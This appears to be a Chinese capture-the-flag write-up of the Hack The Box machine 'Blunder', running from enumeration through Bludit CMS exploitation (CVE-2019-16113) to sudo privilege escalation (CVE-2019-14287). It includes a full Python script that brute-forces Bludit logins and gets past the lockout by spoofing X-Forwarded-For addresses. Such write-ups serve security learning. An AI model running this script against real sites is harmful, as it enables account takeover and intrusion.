目录

简介

信息收集

漏洞发现

暴力破解

CVE-2019-16113

漏洞利用

权限提升

凭据发现

CVE-2019-14287

总结


简介

靶机虽然不难,但是花费的时间不少。通过搜索可以发现Bludit CMS的已知漏洞,但是要利用该漏洞就需要登录到后台,因此需要枚举用户名和密码。通过todo.txt文件中的的信息猜测到用户名,然后爆破破解获得密码,接着利用CVE-2019-16113获得WebShell,然后通过枚举本地文件发现存储在php文件中的用户hugo的密码Hash值,通过解密获得用户hugo的密码。从而获得该用户的Shell,最后利用CVE-2019-14287提升至root权限。

信息收集

使用nmap快速扫描目标主机端口和服务,目标主机仅开启了80端口,运行这Apache httpd 2.4.41,操作系统为Ubuntu,内核可能为2.6.32,如图:

然后访问80端口web服务,发现是作者记录的一些文章,如图:

随手输入admin发现页面跳转到登录页面,如图:

测试发现不存在常用弱口令和SQL注入漏洞,使用Google搜索BLUDIT发现此CSM系统存在已知漏洞,如目录遍历图像文件上传(CVE-2019-16113)和暴力破解绕过。目录遍历图像上传漏洞需要拥有用户名和密码才能利用。查看网页源码发现版本号,如图:

通过Google搜索到Bludit暴力破解绕过的博客,当然也可以根据原理自行编写脚本(部分代码没进行异常处理):

#!/usr/bin/python3
import requests
import argparse
import random#define parm
parser=argparse.ArgumentParser()
group=parser.add_mutually_exclusive_group()
parser.add_argument('-H','--host',help='target hostname or ip address',type=str)
parser.add_argument('-p','--port',help='target port,default 80',default=80,type=int)
group.add_argument('-u','--username',help='Bludit CMS username',type=str)
group.add_argument('-U','--userfile',help='Bludit CMS username list file',type=str)
parser.add_argument('-P','--password',help='password dictionary file',type=str)
args=parser.parse_args()if args.host:url='http://'+args.host.strip()+'/admin/login'if args.password:if args.username:username=args.username.strip()s=requests.session()with open(args.password) as f:password=f.readline()password=password.strip()while password:try:r=s.get(url)except KeyboardInterrupt:breakexcept:print('Could not connect to '+args.host+'!')token=r.texttoken=token.split('tokenCSRF')token=token[2][9:49]random_ip=str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))head={'X-Forwarded-For':random_ip,'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}data={'tokenCSRF':token,'username':username,'password':password}print('[*] Testing: Username [',username,'] and Password [',password,']')r=s.post(url,headers=head,data=data,allow_redirects=False)try:success=r.headers['Location']except:success=''if success == '/admin/dashboard':print("\033[1;32;1m[+] Success! Username:",username,'Password:',password,"\033[0m")breakpassword=f.readline()password=password.strip()elif args.userfile:try:userfile=open(args.userfile.strip(),'r').read()except FileNotFoundError:print("Please give me a vilid file!")s=requests.session()for username in userfile.split():with open(args.password) as f:password=f.readline()password=password.strip()while password:try:r=s.get(url)except:print('Could not connect to '+args.host+'!')token=r.texttry:token=token.split('tokenCSRF')token=token[2][9:49]except:passrandom_ip=str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))+'.'+str(random.randint(0,255))head={'X-Forwarded-For':random_ip,'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}data={'tokenCSRF':token,'username':username,'password':password}print('[*] Testing: Username [',username,'] and Password [',password,']')r=s.post(url,headers=head,data=data,allow_redirects=False)try:success=r.headers['Location']except KeyboardInterrupt:exit()except:success=''if success == '/admin/dashboard':print("\033[1;32;1m[+] Success! Username:",username,'Password:',password,"\033[0m")exit()password=f.readline()password=password.strip()else:print("You must give -u or -U,and just only one!")else:print("Please give me a password file")
else:print("Please enter the -h parameter for detailed usage.")

将admin、bludit、blunder和首页出现的人名保存为用户字典文件,然后使用cewl -m 4 http://10.10.10.191 -w passwd.txt将首页的单词提权为密码字典文件,但是没获得登录凭据,尝试使用rockyou字典,也未破解成功。使用dirbuster扫描目录扫着扫着程序崩溃了,如图:

然后使用wfuzz继续扫描bak,txt,sql,zip等文件,发现存在todo.txt,如图:

然后查看todo.txt,发现可能为用户名的单词,如图:

漏洞发现

暴力破解

然后使用网站提取的字典passwd.txt暴力破解发现密码,如图:

使用该用户名和密码登录系统,如图:

CVE-2019-16113

使用Exploit-DB提供的漏洞利用代码测试是否存在CVE-2019-16113,如图:

在本地监听的端口获得HTTP请求,如图:

说明目标主机存在该漏洞。

漏洞利用

构造反弹shell的payload,如图:

成功获得WebShell,如图:

权限提升

查看/etc/passwd文件发现三个普通用户,如图:

进入查看/home目录未发现temp的用户目录,如图:

凭据发现

查看上级目录,在databases目录下发现php文件,在users.php文件中发现管理员用户Admin和fergus用户的Hash值和盐值,如图:

使用hash-identifier查看Hash类型,如图:

使用john和hashes.com均未破解成功,在/var/www目录下发现另一个版本的bludit,如图:

查看databases目录下的users.php文件中发现管理员用户Hugo的密码Hash值,如图:

使用john未破解成功,但使用hashes.com破解成功,如图:

尝试使用该密码登录到hugo用户的Shell,如图:

CVE-2019-14287

使用提权辅助lse.sh发现sudo命令可执行的程序,如图:

使用Google搜索发现可以利用CVE-2019-14287,如图:

成功获得root权限。

总结

该靶机用到的枚举较多,所以花费的时间较长。在扫描网站目录和文件时发现dirbuster容易崩溃,wfuzz貌似更好用些。在破解Bludit登录用户名和密码是花时间最多的,在此之后就一帆风顺了,Google都能找得到。

Hack The Box——Blunder相关推荐

  1. 【Hack The Box】linux练习-- Blunder

    HTB 学习笔记 [Hack The Box]linux练习-- Blunder

  2. 【Hack The Box】linux练习-- SneakyMailer

    HTB 学习笔记 [Hack The Box]linux练习-- SneakyMailer

  3. Hack The Box - Access Writeup

    第一次尝试Hack The Box,在难度较低的Access上,前后花了有两天的时间,汗.收获还是很大,在此记录一下,以便后阅. 首先是获取user,通过nmap扫描,可以发现目标主机开了三个端口21 ...

  4. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  5. Hack The Box - Catch 利用let chat API查询信息,Cachet配置泄露漏洞获取ssh登录密码,apk代码注入漏洞利用获取root权限

    Hack The Box-Catch Hack The Box开始使用流程看这篇 文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...

  6. 【Hack The Box】windows练习-- Silo

    HTB 学习笔记 [Hack The Box]windows练习-- Silo

  7. 【Hack The Box】linux练习-- Ophiuchi

    HTB 学习笔记 [Hack The Box]linux练习-- Ophiuchi

  8. 【Hack The Box】linux练习-- Doctor

    HTB 学习笔记 [Hack The Box]linux练习-- Doctor

  9. 【Hack The Box】linux练习-- Tabby

    HTB 学习笔记 [Hack The Box]linux练习-- Tabby

  10. Hack The Box - Starting Point - TIER 0

    Hack The Box - Starting Point - TIER 0 Meow TASK 1 What does the acronym VM stand for? 首字母缩略词 VM 代表什 ...

最新文章

  1. 服务器安全设置之--硬盘权限篇
  2. Python-TXT文本操作
  3. python 静态方法 类方法 的作用_Python实例方法、类方法、静态方法的区别与作用详解...
  4. python字典的键可以用列表吗_python字典多键值及重复键值的使用方法(详解)
  5. mvc.net分页查询案例——PagedList
  6. [zz]4.1.5 进程的处理器亲和性和vCPU的绑定
  7. gin的Bindxxx和ShouldBindxxx的区别
  8. 如何将CSS3 transforms应用于背景图像
  9. 【MATLAB】(三)MATLAB在高等数学中的应用
  10. RS485电路设计原理图
  11. 机器学习(七):贝叶斯之新闻分类器
  12. 软件开发管理之:编码负责人及标准代码库机制(转)--有同样的想法
  13. 钝    生_拔剑-浆糊的传说_新浪博客
  14. 【翻译】案例研究:Slite如何利用谷歌云建立先进的GitOps实践
  15. ERP编制物料清单 华夏
  16. uni-app中接入友盟统计
  17. flutter基础结构——顶部appbar和body
  18. 团队中的八种角色及启示
  19. CAD绘图次序调整 绘图次序置底 c#
  20. Educational Codeforces Round 133 (Rated for Div. 2) 题解 CD

热门文章

  1. 为什么vb6中 Recordset对象的RecordCount属性总是 -1
  2. 计算机专业买笔记本电脑游戏本还是商务本好,购买笔记本电脑,游戏本真的是第一选择吗?...
  3. 游戏程序员如何正确的写简历
  4. 【校招VIP 前端】电影详情模块的开发文档设计实战
  5. 【光学】Matlab模拟相互垂直的光波叠加
  6. layui 模板引擎 例子
  7. 关于csdn 博客图片无法加载的问题!
  8. 生活中很多“被我们忽视的东西”存在价值
  9. asp、php、asp.net、jsp介绍及优缺点比较
  10. HDR关键技术:色度学,颜色空间及转换